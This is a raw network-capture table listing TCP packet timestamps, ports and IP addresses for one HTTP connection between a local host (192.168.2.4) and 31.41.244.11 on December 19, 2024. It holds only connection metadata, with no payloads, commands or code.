Dec 19, 2024 06:09:13.257909060 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.257972956 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.257997990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.258057117 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.258910894 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.259025097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.259037971 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.259094000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.259887934 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.259943962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.260013103 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.260071993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.260895014 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.260953903 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.261009932 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.261061907 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.261889935 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.261943102 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.261991978 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.262052059 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.262819052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.262886047 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.262955904 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.263012886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.263807058 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.263871908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.263921022 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.263974905 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.264780045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.264839888 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.264867067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.264924049 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.265713930 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.265774965 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.265830994 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.265880108 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.266701937 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.266757011 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.266823053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.266871929 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.267694950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.267746925 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.267795086 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.267847061 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.268665075 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.268724918 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.268762112 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.268826962 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.269670963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.269727945 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.269758940 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.269825935 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.270607948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.270668983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.270734072 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.270793915 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.271565914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.271627903 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.271698952 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.271754980 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.272557020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.272612095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.272675037 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.272728920 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.273535013 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.273590088 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.273655891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.273713112 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.274534941 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.274590969 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.274661064 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.274745941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.275609016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.275666952 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.275675058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.275724888 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.276448965 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.276573896 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.276621103 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.276679993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.277415037 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.277471066 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.277529955 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.277585983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.278373003 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.278448105 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.278503895 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.278563023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.279356003 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.279422998 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.279490948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.279553890 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.280345917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.280404091 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.280461073 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.280517101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.281337023 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.281399965 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.281402111 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.281455994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.282300949 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.282356977 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.282390118 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.282444000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.283267975 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.283351898 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.283396959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.283451080 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.284270048 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.284303904 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.284331083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.284360886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.285192966 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.285253048 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.285322905 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.285377026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.286168098 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.286227942 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.286283970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.286339998 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.287139893 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.287199974 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.287269115 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.287339926 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.288120985 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.288186073 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.288237095 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.288327932 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.289108992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.289163113 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.289165020 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.289211035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.290105104 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.290175915 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.290229082 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.290287018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.291295052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.291349888 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.291352987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.291407108 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.292004108 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.292072058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.292141914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.292205095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.292972088 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.293061018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.293102980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.293157101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.293972969 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.294028997 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.294111967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.294167042 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.294941902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.295034885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.295078039 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.295144081 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.295938969 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.296010017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.296015978 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.296073914 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.296885967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.296991110 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.297050953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.297106981 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.297857046 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.297914982 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.297986031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.298038960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.298818111 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.298876047 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.299021006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.299102068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.299817085 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.299873114 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.299983978 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.300041914 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.300765038 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.300823927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.300906897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.300965071 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.301794052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.301855087 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.301935911 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.301990032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.302726030 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.302788973 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.302859068 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.302915096 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.303723097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.303781986 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.303872108 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.303920984 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.304668903 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.304722071 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.304790020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.304841995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.305587053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.305649996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.446770906 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.446891069 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.446928978 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.446954966 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.447238922 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.447333097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.447415113 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.447469950 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.448213100 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.448273897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.448350906 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.448406935 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.449181080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.449282885 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.449322939 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.449358940 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.450145960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.450211048 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.450264931 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.450314045 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.451112986 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.451174021 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.451229095 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.451277018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.452126980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.452192068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.452255964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.452306986 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.453082085 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.453139067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.453207970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.453263998 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.454071045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.454130888 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.454200029 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.454253912 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.454998016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.455073118 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.455127001 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.455190897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.456012011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.456073999 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.456127882 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.456176996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.456964970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.457026958 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.457082033 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.457133055 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.457964897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.458017111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.458087921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.458138943 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.458959103 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.459011078 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.459079027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.459130049 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.459888935 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.459986925 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.460014105 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.460063934 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.460855961 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.460911989 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.460969925 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.461019993 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.461822987 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.461889029 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.461944103 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.461996078 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.462785959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.462841034 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.462909937 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.462964058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.463797092 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.463850021 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.463911057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.463960886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.464756012 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.464813948 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.464869976 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.464917898 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.465743065 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.465811968 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.465864897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.465917110 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.466728926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.466783047 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.466836929 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.466886044 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.467664957 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.467724085 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.467784882 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.467834949 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.468636990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.468692064 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.468760967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.468815088 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.469630957 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.469693899 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.469753981 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.469803095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.470649958 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.470751047 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.470778942 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.470828056 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.471555948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.471612930 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.471668005 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.471719980 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.472536087 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.472594976 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.472662926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.472719908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.473510027 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.473567009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.473623991 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.473673105 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.474482059 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.474539042 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.474608898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.474666119 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.475456953 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.475509882 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.475570917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.475620985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.476421118 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.476471901 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.476528883 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.476579905 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.477389097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.477531910 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.477552891 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.477581024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.478404045 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.478458881 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.478507042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.478559017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.479377031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.479437113 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.479490995 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.479541063 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.480314970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.480374098 CET	49763	80	192.168.2.4	31.41.244.11
